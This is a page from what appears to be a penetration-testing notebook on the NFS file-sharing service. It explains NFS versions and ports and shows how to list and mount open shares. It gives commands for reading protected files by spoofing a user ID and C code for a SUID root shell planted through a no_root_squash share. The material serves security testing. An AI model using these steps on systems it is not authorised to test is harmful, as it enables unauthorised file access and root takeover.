Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Port
  • Config File
  • Interact
  • Attacks
  • Read File
  • Shell with SUID binary

Was this helpful?

  1. Utility
  2. Service

NFS (111-2049)

Network File System.

Last updated 8 months ago

Was this helpful?

Protocol Information

NFS is a distributed file system protocol. It allows a user on a client computer to access files on a computer network as if they were on a locally mounted storage device (same purpose as SMB). NFS is often used with UNIX operating systems and is mostly insecure in its implementation. It can be somewhat difficult to configure securely, so it is not uncommon to find NFS shares open to the world.

There are 3 versions: - NFSv2: It is an older protocol, but it is supported by many systems and initially worked entirely via UDP. - NFSv3: It has more features, including variable file sizes and better error reporting, but is not fully compatible with NFSv2 clients. - NFSv4:It includes Kerberos, works through firewalls and over the Internet, no longer requires portmappers, supports ACLs, applies state-based operations, and provides performance improvements and high security. It is also the first version to have a stateful protocol.

Port

111 TCP/UDP

NFS (rpcbind)

2049 TCP

NFS

Config File

  • /etc/exports ()

Interact

Search open directories.

showmount -e <IP>

Mounts an open directory that has been found.

mkdir <myDIR>
sudo mount -t nfs -o nolock <IP>:/<FOUND_DIR> ./<myDIR>

Once finished, unmount the directory.

sudo umount <myDIR>

Attacks

Read File

You can read files without having permission by changing the UUID.

ls -n
# drwxr-xr-x 1 1014 1014  48 Jun 10  creds.txt
sudo adduser <NAME>
sudo vim /etc/passwd # change the UUID of <NAME> to 1014                      
# or
sudo sed -i -e 's/<UUID_NAME>/1014/g' /etc/passwd

su pwn
id && cat creds.txt

Shell with SUID binary

In /etc/exports there is an option that if not set correctly can lead to this attack.

  • root_squash: If the root user is used to access NFS shares, it will be changed to the user nfsnobody, which is an account with no privileges. All files created and uploaded by the root user will be owned by the nfsnobody user, which prevents an attacker from uploading binary files with the SUID bit set.

  • no_root_squash: Remote users connecting to the share as the local root user will be able to create files on the NFS server as the root user. This would allow the creation of malicious scripts/programs with the SUID bit set.

So the idea is to create with the ROOT user a binary that invokes a shell with SUID and load it on the victim host and then run it from the victim host.

  1. Create the binary that invokes the shell.

Shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
gcc shell.c -o shell
  1. Move the binary to the directory and set the SUID.

cp shell <myDIR>
chmod u+s <myDIR>/shell
  1. Move to the victim host and run the binary.

./shell
LINK